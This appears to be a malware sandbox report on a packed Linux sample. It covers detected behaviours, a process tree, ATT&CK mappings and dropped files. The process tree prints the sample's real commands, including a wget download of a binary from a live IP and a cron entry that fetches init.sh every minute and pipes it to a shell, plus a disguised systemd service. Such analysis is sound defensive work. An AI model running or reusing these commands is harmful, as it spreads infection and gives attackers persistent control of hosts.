Overview

overview

10

Static

static

1

ac29fd3114...75c83d

ubuntu-18.04-amd64

10

ac29fd3114...75c83d

debian-9-armhf

7

ac29fd3114...75c83d

debian-9-mips

ac29fd3114...75c83d

debian-9-mipsel

Analysis

  • max time kernel
    144s
  • max time network
    140s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10/08/2026, 10:26

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General

  • Target
    ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d
  • Size 3KB
  • Sample260810-mgpd1afe39
  • SHA256 ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationupx

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 3 IoCs

    Execute scripts via Unix Shell.

    execution
  • Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d
    /tmp/ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d
    1⤵
    • Executes dropped EXE
    PID:644
    • /bin/uname
      uname -m
      2⤵
        PID:649
      • /usr/bin/tr
        tr "[:upper:]" "[:lower:]"
        2⤵
          PID:650
        • /bin/rm
          rm -f /tmp/.kworkerd-blkcg
          2⤵
            PID:654
          • /bin/rm
            rm -f /tmp/.kworkerd-blkcg
            2⤵
              PID:657
            • /usr/bin/wget
              wget -T 180 -t 1 -qO /tmp/.kworkerd-blkcg http://193.32.162.73/d/7c4124282c4ad7b6/bins/kworkerd-blkcg
              2⤵
              • Writes file to tmp directory
              PID:658
            • /bin/chmod
              chmod +x /tmp/.kworkerd-blkcg
              2⤵
              • File and Directory Permissions Modification
              PID:681
            • /usr/bin/basename
              basename /tmp/ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d
              2⤵
                PID:683
              • /tmp/.kworkerd-blkcg
                /tmp/.kworkerd-blkcg
                2⤵
                • Deletes itself
                • Modifies Watchdog functionality
                • Creates/modifies Cron job
                • Enumerates active TCP sockets
                • Modifies systemd
                • Reads MAC address of network interface
                • Changes its process name
                • Checks CPU configuration
                • Reads system network configuration
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:682
                • /bin/sh
                  /bin/sh -c "/bin/systemctl daemon-reload 2>/dev/null"
                  3⤵
                  • Command and Scripting Interpreter: Unix Shell
                  PID:688
                  • /bin/systemctl
                    /bin/systemctl daemon-reload
                    4⤵
                    • Enumerates kernel/hardware configuration
                    • Reads runtime system information
                    PID:689
                • /bin/sh
                  /bin/sh -c "/bin/systemctl enable redis-sentinel.service 2>/dev/null"
                  3⤵
                  • Command and Scripting Interpreter: Unix Shell
                  PID:702
                  • /bin/systemctl
                    /bin/systemctl enable redis-sentinel.service
                    4⤵
                    • Enumerates kernel/hardware configuration
                    PID:703
                • /bin/sh
                  sh -c "/usr/bin/crontab -l 2>/dev/null"
                  3⤵
                    PID:716
                    • /usr/bin/crontab
                      /usr/bin/crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:718
                  • /bin/sh
                    /bin/sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c '{ kill -0 686 2>/dev/null || grep -q 0100007F:A71C /proc/net/tcp 2>/dev/null; } && exit 0; (wget -qO- http://193.32.162.73/d/7c4124282c4ad7b6/init.sh || curl -sL http://193.32.162.73/d/7c4124282c4ad7b6/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
                    3⤵
                    • Command and Scripting Interpreter: Unix Shell
                    PID:721
                    • /usr/bin/crontab
                      /usr/bin/crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:722
                • /bin/rm
                  rm -f /tmp/ac29fd3114346d20778aaad33098d6cd9258528f16d6225e553f780fe475c83d
                  2⤵
                    PID:684

                Network

                      MITRE ATT&CK Enterprise v16

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Command and Scripting Interpreter

                      1
                      T1059

                      Unix Shell

                      1
                      T1059.004

                      Scheduled Task/Job

                      1
                      T1053

                      Cron

                      1
                      T1053.003

                      Persistence

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      XDG Autostart Entries

                      1
                      T1547.013

                      Create or Modify System Process

                      1
                      T1543

                      Systemd Service

                      1
                      T1543.002

                      Scheduled Task/Job

                      1
                      T1053

                      Cron

                      1
                      T1053.003

                      Privilege Escalation

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      XDG Autostart Entries

                      1
                      T1547.013

                      Create or Modify System Process

                      1
                      T1543

                      Systemd Service

                      1
                      T1543.002

                      Scheduled Task/Job

                      1
                      T1053

                      Cron

                      1
                      T1053.003

                      Defense Evasion

                      File and Directory Permissions Modification

                      1
                      T1222

                      Linux and Mac File and Directory Permissions Modification

                      1
                      T1222.002

                      Impair Defenses

                      1
                      T1562

                      Virtualization/Sandbox Evasion

                      1
                      T1497

                      System Checks

                      1
                      T1497.001

                      Credential Access

                      Discovery

                      System Information Discovery

                      1
                      T1082

                      System Network Configuration Discovery

                      2
                      T1016

                      Internet Connection Discovery

                      1
                      T1016.001

                      Wi-Fi Discovery

                      1
                      T1016.002

                      System Network Connections Discovery

                      2
                      T1049

                      Virtualization/Sandbox Evasion

                      1
                      T1497

                      System Checks

                      1
                      T1497.001

                      Lateral Movement

                      Collection

                      Command and Control

                      Exfiltration

                      Impact

                      Replay Monitor

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                      Downloads

                      redis-sentinel.service
                      • Path /etc/systemd/system/redis-sentinel.service
                      • Size 382B
                      • SHA256 ed673486e84cd00e3d48bcc5ff357b1ff3133dc67d4ba1d8baa8334fbcfdfac6
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      .kworkerd-blkcg
                      • Path /tmp/.kworkerd-blkcg
                      • Size 112KB
                      • SHA256 77e0cb04a0db4819a594a880edd60c82156841cce112dc57b789e8a03412ab6a
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      .redis-server.pid
                      • Path /tmp/.redis-server.pid
                      • Size 3B
                      • SHA256 162753c27c8b32975a0edf5e89ab4ed8e2f06f02a182e0f181481cc050fdcc72
                      • MD5 SHA1 SHA512
                      Submit Download

                      root
                      • Path /var/spool/cron/crontabs/root
                      • Size 261B
                      • SHA256 24da4c116b2a48b76108fa7d8cd93ecf27a17e05c7de525665efeb3e849fd44a
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      tmp.VZUkXu
                      • Path /var/spool/cron/crontabs/tmp.VZUkXu
                      • Size 436B
                      • SHA256 84a2e143f5c1ce23cfdab84739e154419c8431c574a0c94a39c2781f4aafc723
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download